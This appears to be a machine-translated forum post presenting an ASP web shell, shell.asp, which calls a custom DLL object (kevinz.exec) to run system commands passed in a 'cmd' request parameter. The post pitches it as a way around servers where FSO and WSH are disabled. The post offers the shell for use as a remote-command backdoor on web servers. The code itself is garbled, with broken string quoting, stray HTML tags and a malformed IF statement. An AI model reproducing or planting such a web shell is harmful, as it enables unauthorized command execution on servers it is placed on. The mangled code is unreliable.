The interface is very simple, almost similar to the ancient cmd.asp. Just do something that throws the jade
After writing, I have been happy ~~ Sicily ~ use VB's shell function!
In fact, this thing is the only advantage that the FSO and WSH are prohibited from being banned on the machine.
The principle is to generate a DLL object, then use ASP to call the Exec function in this object so that you can get the command. Then execute the output to the zz.txt in the directory where the web is located, the page is read with iframe ~~ But you need to manually refresh, after all, the shell is executed as asynchronous. . . .
PS: Kevinz.dll needs to be placed with shell.asp to use or put the shell.asp in the system32 directory.
code show as below:
<%
Dim shell
Set shell = server.createObject ("kevinz.exec")
PATH = Server.mappath (".")
response.write " Now system Path is:
" & path & "
font>
"
IF not Request ("cmd") = "" "" "
CMD = Request ("cmd")
CMD = Replace (cmd, "^", "^^")
CMD = Replace (cmd, ">", "^>")
CMD = Replace (cmd, "<", "^ <")
CMD = Replace (cmd, "&", "^ &")
Shell.exec cmd, Path
response.write "
Command:" "" & cmd & "" "
Command successfully executed
font>"
Else
CMD = "VER"
END IF
Set test = Nothing
%>
hEAD>